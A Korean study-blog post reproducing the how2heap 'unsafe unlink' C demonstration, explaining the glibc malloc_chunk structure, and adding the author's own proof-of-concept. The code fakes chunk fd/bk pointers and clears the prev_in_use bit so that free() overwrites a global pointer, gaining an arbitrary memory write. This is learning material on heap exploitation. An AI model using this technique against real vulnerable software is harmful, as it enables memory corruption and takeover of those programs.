[how2heap] unsafe unlink

공부 2016. 12. 26. 19:10
반응형
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>


uint64_t *chunk0_ptr;

int main()
{
	printf("Welcome to unsafe unlink 2.0!\n");
	printf("Tested in Ubuntu 14.04/16.04 64bit.\n");
	printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
	printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");

	int malloc_size = 0x80; //we want to be big enough not to use fastbins
	int header_size = 2;

	printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");

	chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
	uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
	printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
	printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);

	printf("We create a fake chunk inside chunk0.\n");
	printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
	chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
	printf("We setup the 'next_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
	printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) != False\n");
	chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
	printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
	printf("Fake chunk bk: %p\n",(void*) chunk0_ptr[3]);

	printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
	uint64_t *chunk1_hdr = chunk1_ptr - header_size;
	printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
	printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
	chunk1_hdr[0] = malloc_size;
	printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
	printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n");
	chunk1_hdr[1] &= ~1;

	printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
	printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n");
	free(chunk1_ptr);

	printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
	char victim_string[8];
	strcpy(victim_string,"Hello!~");
	chunk0_ptr[3] = (uint64_t) victim_string;

	printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
	printf("Original value: %s\n",victim_string);
	chunk0_ptr[0] = 0x4141414142424242LL;
	printf("New Value: %s\n",victim_string);
}



정리.


힙 청크 구조는 아래와 같다.


struct malloc_chunk {
  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */

  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;

  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};


먼저 unlink를 우회하기 위해서 fd, bk를 자기 자신으로 작성한다.


그 다음에 chunk1을 조작해서 prev_in_use bit (이전 chunk가 free 되있는지)와 prev_size를 지정해준다.


그런 다음에 free를 해주게 되는데 chunk0(free 함수를 속임)와 chunk1이 free되었기 때문에


위와 malloc_chunk의 fd, bk를 사용할 수 있다. 즉, 자기 fd값을 덮어씌우게 되면 어디든지 가리킬 수 있게 된다.



아래는 이해하기 위해서 만든 poc


#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include "./how2heap/dumpcode.h"

uint64_t *a;

int main(){
    uint64_t *b;
    int head_size = 0x02;

    a = malloc(0x80);
    b = malloc(0x80);

    dumpcode(a - head_size, 0x80);
    dumpcode(b - head_size, 0x80);

    a[2] = (uint64_t)&a - sizeof(uint64_t) * 3;
    a[3] = (uint64_t)&a - sizeof(uint64_t) * 2;

    uint64_t *ptr = b - head_size;

    ptr[0] = (uint64_t)0x80;
    ptr[1] &= ~1; // in use option disable.

    free(b);

    dumpcode(a - head_size, 0x160);

    printf("Yeah %p\n", a[3]);
    a[3] = (uint64_t)&head_size;
    a[0] = 9505;
    printf("is changed? %d\n", head_size);

    return 0;
}


'공부' 카테고리의 다른 글

[C++] 프로그램 관리자 권한 요구  (0) 2017.01.04
[how2heap] house_of_spirit  (0) 2016.12.28
[how2heap] fast bin dup into stack  (0) 2016.12.25
[how2heap] fastbin dup  (0) 2016.12.25
[how2heap] first_fit  (0) 2016.12.25
블로그 이미지

KuroNeko_

KuroNeko

,